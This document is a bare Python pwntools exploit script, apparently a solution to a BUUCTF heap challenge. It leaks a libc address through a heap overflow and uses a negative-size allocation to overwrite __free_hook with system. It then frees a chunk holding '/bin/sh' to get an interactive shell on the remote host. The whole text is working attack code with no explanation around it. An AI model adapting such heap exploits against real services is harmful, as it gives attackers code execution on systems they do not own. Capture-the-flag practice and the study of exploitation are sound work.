1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| from pwn import *
sh = remote('node3.buuoj.cn',29877) libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
def add(size,name,content): sh.sendlineafter('$','1') sh.sendlineafter('size:',str(size)) sh.sendafter('name:',name) sh.sendafter('content:',content)
def edit(index,content): sh.sendlineafter('$','2') sh.sendlineafter('id:',str(index)) sh.sendafter('content:',content)
def delete(index): sh.sendlineafter('$','3') sh.sendlineafter('id:',str(index))
def show(index): sh.sendlineafter('$','4') sh.sendlineafter('id:',str(index))
add(0x10,'a\n','b'*0x18) add(0x10,'a\n','/bin/sh\x00') show(0) sh.recvuntil('b'*0x18) libc_base = u64(sh.recv(6).ljust(8,'\x00')) - 0x8e3f2 system_addr = libc_base + libc.sym['system'] free_hook_addr = libc_base + libc.sym['__free_hook'] binsh_addr = libc_base + libc.search('/bin/sh').next() print 'libc_base=',hex(libc_base) print 'system_addr=',hex(system_addr) add(0x10,'a\n','b\n') edit(2,'b'*0x10 + p64(0) + '\xff'*0x8)
add(-0x80,p64(free_hook_addr),'')
edit(2,p64(system_addr))
delete(1)
sh.interactive()
|